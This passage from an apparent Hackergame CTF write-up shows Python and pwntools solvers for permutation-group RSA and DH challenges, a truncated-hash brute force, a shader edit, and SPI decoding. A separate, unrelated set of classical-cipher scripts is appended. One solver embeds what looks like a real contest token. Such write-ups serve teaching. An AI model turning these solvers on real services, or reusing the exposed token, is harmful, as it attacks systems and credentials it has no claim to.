p[1]: for i2 in p[2]: for i3 in p[3]: for i6 in p[6]: for i10 in p[10]: # for i10 in p[10] i9len = 39 - len(''.join(['us'] + i1 + ['t'] + i2 + ['c'] + i3 + ['.ed'] + i6 + ['u.c'] + ['n'] + i10)) if(i9len < 0): continue # do something对于下面的 do something ，自然就是求出 hash 并进行比较了。不过，题目中给出的 hash 显然也是经过过惜字如金化的，而他可能的原始情况就太多了，难以一一遍历。不过，我们其实也没必要对他进行遍历。通过简单的计算，不难得出，上面我们遍历的所有 secret 的可能，也就 一亿种左右。而对于 hash 值，我们只需要让每种求出的结果的 hash 与目标 hash 的前6位相等就可以了。两个字符串 hash 前6位相等的可能性是 2 的 24 次方分之一，这么算下来也就只有几十种最后的可能性了。所以我们险些代码进行一次初筛：maylist = [] ph = ['ec18f9', 'ec18ff', 'ec18fa', 'ec18fe', 'ecc18f', 'eca18f', 'ece18f', 'eccc18', 'ecca18', 'ecce18', 'ecccc1', 'eccca1', 'eccce1', 'eccccc', 'ecccca', 'ecccce'] for i1 in p[1]: for i2 in p[2]: for i3 in p[3]: for i6 in p[6]: for i10 in p[10]: i9len = 39 - len(''.join(['us'] + i1 + ['t'] + i2 + ['c'] + i3 + ['.ed'] + i6 + ['u.c'] + ['n'] + i10)) if(i9len < 0): continue i9 = p[9][i9len] s = ''.join(['us'] + i1 + ['t'] + i2 + ['c'] + i3 + ['.ed'] + i6 + ['u.c'] + i9 + ['n'] + i10) hash = sha384(s.encode()).hexdigest()[0:6] if(hash in ph): maylist.append(s)而计算的结果其实只有6个secret是满足要求的。把他们的 hash 都计算出来，用眼睛比较下，就不难找到最后的结果了。最后，修改下题目的代码，把 secret 改成我们刚求出的 secret，然后根据提示的方法，对题目中的 3 个文件进行签名，就可以拿到 flag 了。小彩蛋（？）在我提交签名后，网页给了我这么一个回复，不知道是不是正常的（置换魔群U1S1，这道题我觉得是我做出来的题目中最有意思的一个了，反正思考的过程中挺好玩的，还学到了写东西。首先，这道题虽然名为 置换魔群 ，但感觉和群的关系不是特别大。下面的做题中更多的还是关注于这个置换群中的某一个具体的元素。通过对本题的分析可以得知：对于一个置换群 $A_n$ 中的一个具体的元素（置换矩阵）$A$，都可以在标准化后被分为若干个子矩阵。每个子矩阵中，都可以通过以自身的值为下一个元素的下标的方式完整的遍历。那么对于每个子矩阵而言，若是以他们为置换矩阵对别的矩阵进行若干次变换的话，都最多只能变幻出他的长度种情况。这个结论不难证明。因为对于每个变换矩阵而言，其每个元素在变换之后都只有唯一的去处。所以当任意一个元素经过变换回到自己原来的位置之后，就开始下一轮的循环了。而前面已经得出其中的每个元素都可以通过遍历经过所有的位置，于是就没经过自身的长度次变换后就会开始下一轮的循环，因此就会只有自身的长度种不同的状态。而对于每一个变换矩阵 A 而言，他都是由若干个不同的子矩阵组成的。使用矩阵A进行任意次变换后，就相当于用他的每个子矩阵进行同样次数的变换。因此就能够得出，当使用变换矩阵 A 对某一矩阵进行他的所有子矩阵的长度的最小公倍数次变换后，才能使矩阵恢复原来的样子。因此当我们拿到一个变换矩阵后，一个必要的步骤就是计算能使变换恢复的最小次数，即找出他所有的子矩阵，并计算他们的最小公倍数。找左右的子矩阵可以通过遍历的方式去寻找，而计算最小公倍数的代码也比较简单。对应的代码可以随便一搜就有了。题外话当我得出上面的结论之后，我就自己动手实现了相关的逻辑。而当我做完两问之后我才发现，原来题目已经有相关逻辑的实现了。不过写都写了，就看着用吧。置换群上的 RSA观察源代码，就可以发现，这道题的题意就是，随机生成一个变换矩阵，用它自己进行 e 次变换后，求原来的矩阵。题目中给出 e 的值为 65537，是一个质数。因此就能得知矩阵在进行 e 次变换后是不会回到原来的状态的。我们可以假设原矩阵为 1，而他的所有可能的情况为 n，这样子的话在经过 e 此变化得到的结果就可以记作：$$ e \ mod\ n $$因此题意就变成了，知道 e 和 e mod n，求原数字。因此不难得知，我们只需先求出n，再求出 (e mod n) 对于 n 的逆元，然后在对其取这么多次方，就可以得到本体的答案了。本题解题脚本如下：import math from permutation_group import permutation_element, permutation_group import re from pwn import * def s2n(x): return [int(x) for x in re.findall(r"\-?\d+\.?\d*", x)] def exgcd(a, b): if b == 0: return 1, 0, a else: x, y, q = exgcd(b, a % b) x, y = y, (x - (a // b) * y) return x, y, q def ModReverse(a, p): x, y, q = exgcd(a, p) if q != 1: raise Exception("No solution") else: return (x + p) % p r = remote('202.38.93.111', 10114) r.sendlineafter(b'Please input your token: ', '<token>'.encode()) r.recvuntil(b'> your choice: ') r.sendline(b'1') r.recvline() # Since the order of the permutation group can be computed easily, the RSA cryptography is not safe in this gruop. r.recvline() # Anyway, I decide to give this flag to you for free. Just get it! for _ in range(15): r.recvline() # [+] RSA public key: n = {n}, e = {e} r.recvline() # [+] my encrypted secret is here: ele_str = r.recvline() # [1, 2, ... n] r.recvline() # [+] Prove that you own the secret (a list like [1,2,3]): r.recvuntil(b"> your answer: ") ele_list = s2n(ele_str.decode().strip()) ele = permutation_element(len(ele_list), ele_list) r.sendline(str(ele ** ModReverse(65537 % (ele.order()), ele.order())).encode()) result = r.recvline() print(result) print(r.recvline())置换群上的 DHDH 的题意就和 RSA 的题意正好相反了。这次是随机生成一个 secret，给出一个随机的变换矩阵，以及他的 secret 次方，反求 secret。这道题的思路也还是比较简单的。对于公钥，g，我们可以求出他的所有的子矩阵。然后对每个子矩阵进行遍历，就可以知道 secret 对于每个子矩阵的取模的结果。由此，我们就能用扩展中国剩余定理反推出最小的符合条件的n。本题的解题脚本如下：import math from permutation_group import permutation_element, permutation_group import re from pwn import * def s2n(x): return [int(x) for x in re.findall(r"\-?\d+\.?\d*", x)] def get_cnt(li): listlen = len(li) checked = [0] * listlen checking = [] for i in range(listlen): if(checked[i] > 0): continue if(li[i] == i + 1): checked[i] = 1 continue checking.append(i) next = li[i] - 1 checking.append(next) while(li[next] != i + 1): next = li[next] - 1 checking.append(next) for j in checking: checked[j] = len(checking) checking = [] return checked def getModList(g, y): listlen = g.p tp = permutation_element(g.p, list(range(1, g.p+1))) c = [0] * listlen cnt = 0 orderlist = get_cnt(g.permutation_list) for i in range(1, listlen): tp = g * tp for j in range(y.p): if(c[j] == 0 and tp.permutation_list[j] == y.permutation_list[j]): c[j] = i cnt += 1 if(cnt == g.p): break res = set() for i in range(y.p): res.add((orderlist[i], c[i] % orderlist[i])) return res def exgcd(a, b): if b == 0: return 1, 0, a else: x, y, q = exgcd(b, a % b) x, y = y, (x - (a // b) * y) return x, y, q def excrt(am): n = len(am) a=[] m=[] for e in am: m.append(e[0]) a.append(e[1]) if n == 1 : if m[0] > a[0]: return a[0] else: return -1 for i in range(n): if m[i] <= a[i] : return -1 x, y, d = exgcd(m[0], m[i]) if (a[i] - a[0]) % d != 0: return -1 t = m[i] // d x = (a[i] - a[0]) // d * x % t a[0] = x * m[0] + a[0] m[0] = m[0] * m[i] // d a[0] = (a[0] % m[0] + m[0]) % m[0] return a[0] r = remote('202.38.93.111', 10114) r.sendlineafter(b'Please input your token: ', b'2468:MEYCIQCS81iLuK1V2PdML6emg5MjteL014mivUkH1jvTjh3/2wIhAItngXa2L3vgDJUJzhnGq1uP+Aws6t0ShzoTD9WKut3y') r.recvuntil(b'> your choice: ') r.sendline(b'2') r.recvline() # Since permutation group's order is super large, I believe the discrete logarithm problem is hard to solve in this group. r.recvline() # Therefore I plan to implement the DH protocol in this magic group. r.recvline() # Now, go and crack my private key! for _ in range(15): pubkey = r.recvline() # [+] DH public key: n = {n}, g = {g} secmsg = r.recvline() # [+] my public key = {y} r.recvline() # [+] Prove that you own the secret (a list like [1,2,3]): r.recvuntil(b"> your answer: ") g1 = s2n(pubkey.decode().strip())[1:] y1 = s2n(secmsg.decode().strip()) g2 = permutation_element(len(g1), g1) y2 = permutation_element(len(y1), y1) modlist = getModList(g2, y2) r.sendline(str(excrt(modlist)).encode()) result = r.recvline() print(result) print(r.recvline())光与影打开题目的链接，看到”可以看到，我们已经能看见 flag 了，但后面的内容被挡住了。所以肯定需要我们干些什么把雾给去掉。不出意外的话，我们又得对源码下手了。点开 f12，可以发现这个网页其实并没有多少个文件。其中 index 很显然就是主界面了，其中也没有什么有价值的信息。render-main.js 和 webgl-utils.js 感觉都是没有经过修改的官方开源包，不用去看。而 vertex-shader 也是一个很标准，没怎么修改的样子。所以，我们的目标应该就在 fragment-shader.js 里了。点开可以看到里面是一段非常标准的 glsl 代码。这样就非常方便了，我们可以使用 shadertoy 对这段代码进行调试。打开 shadertoy，然后点新建，再把刚才复制的代码粘进去。还有一点报错，于是把下面的 main() 注释掉，再把上面的几个 uniform 注释掉，就可以正常编译了。之后查看她的代码。很容易注意到这个函数：float sceneSDF(vec3 p, out vec3 pColor) { pColor = vec3(1.0, 1.0, 1.0); vec4 pH = mk_homo(p); vec4 pTO = mk_trans(35.0, -5.0, -20.0) * mk_scale(1.5, 1.5, 1.0) * pH; float t1 = t1SDF(pTO.xyz); float t2 = t2SDF((mk_trans(-45.0, 0.0, 0.0) * pTO).xyz); float t3 = t3SDF((mk_trans(-80.0, 0.0, 0.0) * pTO).xyz); float t4 = t4SDF((mk_trans(-106.0, 0.0, 0.0) * pTO).xyz); float t5 = t5SDF(p - vec3(36.0, 10.0, 15.0), vec3(30.0, 5.0, 5.0), 2.0); float tmin = min(min(min(min(t1, t2), t3), t4), t5); return tmin; }直接盲猜 t1-t5 应该都是在做光线的碰撞检测之类的东西。尝试着把他们一个个注释掉试试。最终，我是直接在 t5SDF 这个函数一开始直接加了一句让他返回，最后变成了这个样子：float t5SDF(vec3 p, vec3 b, float r) { return 999999.9; vec3 q = abs(p) - b; return length(max(q,0.0)) + min(max(q.x,max(q.y,q.z)),0.0) - r; }然后再让他编译运行，就能看见 flag 了。片上系统打开题目附件，果然又是一个自己没见过的文件格式捏\~(￣▽￣)\~*不过好在，打开压缩包下的 metadata 文件，可以看见：[global] sigrok version=0.5.2于是可以确定，这个文件可以使用 sigork 打开。下载 sigork 并安装，然后打开这个文件，就可以看到如下的界面了。放大可以看见，从中间的一部分开始，就可以看见在 D1 处由很多个这种 8 个这种东西的循环，而在 D3 处有一些不规则的信号。由于一个字节是 8bit，因此猜测这里应该是在用 spi 之类的协议传输数据。因此在下方添加一条 SPI 通道，就可以解码这些数据了。再根据题目的提示：听说，第一个 flag 藏在 SD 卡第一个扇区的末尾。你能找到它吗？于是，在这里面找到可能是第一扇区结尾的地方（比如这里）：之后对这段信息进行解码：就能拿到 flag 了。企鹅拼盘这么简单我闭眼都可以！第一问就比较白送了。因为一共只需要输入4个二进制数字，只有16种可能性。只要手动把所有可能性都试一便，就能拿到 flag 了。大力当然出奇迹啦~第二问比第一问复杂不少，不过题目倒是给了相当明显的提示。第二问要求输入16个二进制数字，共有 65536 种可能性。因此想要穷举也并非不可能。我是写了下面这样的代码。因为数据量不是特别大，就没怎么优化。最终跑了半个小时左右，得到了答案。 import json class Board: def __init__(self): self.b = [[i*4+j for j in range(4)] for i in range(4)] def _blkpos(self): for i in range(4): for j in range(4): if self.b[i][j] == 15: return (i, j) def reset(self): for i in range(4): for j in range(4): self.b[i][j] = i*4 + j def move(self, moves): for m in moves: i, j = self._blkpos() if m == 'L': self.b[i][j] = self.b[i][j-1] self.b[i][j-1] = 15 elif m == 'R': self.b[i][j] = self.b[i][j+1] self.b[i][j+1] = 15 elif m == 'U': self.b[i][j] = self.b[i-1][j] self.b[i-1][j] = 15 else: self.b[i][j] = self.b[i+1][j] self.b[i+1][j] = 15 def __bool__(self): for i in range(4): for j in range(4): if self.b[i][j] != i*4 + j: return True return False def chal(bitlength, obf): filename = f'chals/b{bitlength}{"_obf" if obf else ""}.json' with open(filename) as f: branches = json.load(f) b = Board() for i in range(1<<bitlength): b.reset() bitseq = [(1 if (i & (1<<res) > 0) else 0) for res in range(16)] #print(bitseq) for pat in branches: pos = pat[0] leftorright = bitseq[pos] movepattern = pat[2 - leftorright] b.move(movepattern) if(b): print(bitseq) chal(16, True)后记这次参加 hg 也是又学到了好多东西，随然还是有很多东西不会的，但最后居然能进前100名我也算是心满意足了。孩子玩的很开心，明年还来玩（）参加 Hackergame 喵，参加 Hackergame 谢谢喵。
Script:栅栏密码:#!/usr/bin/env python # -*- encoding: utf-8 -*- ''' @Time : 2018/12/23 09:55:19 @Author : HeliantHuS @Version : 1.0 @Contact : 1984441370@qq.com ''' string = input("输入:") frequency = [] # 获得栅栏的栏数 result_len = len(string) # 栅栏密码的总长度 25 for i in range(2, result_len): # 最小栅栏长度为2 逐个测试2,3,4.... if(result_len % i == 0): # 当栅栏密码的总长度 模 i 余数为0 则这个i就是栅栏密码的长度 frequency.append(i) for numberOfColumn in frequency: # 循环可能分的栏数 RESULT = [] # 保存各栏数的结果 for i in range(numberOfColumn): # i : 开始取值的位置 for j in range(i, result_len, numberOfColumn): # 开始取值， 隔栏数取一个值， 起始位置是i RESULT.append(string[j]) print("".join(RESULT)) 凯撒密码：#!/usr/bin/env python # -*- encoding: utf-8 -*- ''' @Time : 2018/12/23 09:56:53 @Author : HeliantHuS @Version : 1.0 @Contact : 1984441370@qq.com ''' import string inputStr = input("输入:").lower() caseS1 = string.ascii_lowercase * 2 # caseS1 = string.ascii_uppercase * 2 for j in range(26): result_list = [] for i, num in zip(inputStr, range(len(inputStr))): status = caseS1.find(i) if status != -1: result_list.append(caseS1[status + j]) else: result_list.append(inputStr[num]) print("".join(result_list), "向右偏移了{}位".format(j)) xor异或:#!/usr/bin/env python # -*- encoding: utf-8 -*- ''' @Time : 2018/12/20 14:17:59 @Author : HeliantHuS @Version : 1.0 @Contact : 1984441370@qq.com 可以进行字符串的异或运算 可xor加密也可以解密 思路就是先将要解码的字符串转换为ascii码， 然后穷举一个数字 i , 将这个数字i与字符串的ascii码进行异或运算，将结果再转换为字符串 ''' import base64 s1 = list(b'') for i in range(200): # 进行穷举的数字可高可低 result = "" for j in range(len(s1)): result += chr(s1[j] ^ i) print(result) ROT13:#!/usr/bin/env python # -*- coding: utf-8 -*- ''' @Author : HeliantHuS @Time : 2018/12/17 8:26 @Version : 1.0 @Contact : 1984441370@qq.com ''' import string s1 = "" rot13_1 = string.ascii_lowercase[:13] rot13_2 = string.ascii_lowercase[13:] result = [] for i in s1: find_1 = rot13_1.find(i.lower()) if find_1 != -1: if i.isupper(): result.append(rot13_2[find_1].upper()) continue result.append(rot13_2[find_1]) find_2 = rot13_2.find(i.lower()) if find_2 != -1: if i.isupper(): result.append(rot13_1[find_2].upper()) continue result.append(rot13_1[find_2]) if find_1 == -1 and find_2 == -1: result.append(i) print("". join(result)) GCD:#!/usr/bin/env python # -*- encoding: utf-8 -*- ''' @Time : 2018/12/22 11:10:50 @Author : HeliantHuS @Version : 1.0 @Contact : 1984441370@qq.com ''' def gcd(a, b): if b == 0: return a else: return gcd(b, a % b) AuthorHeliantHuS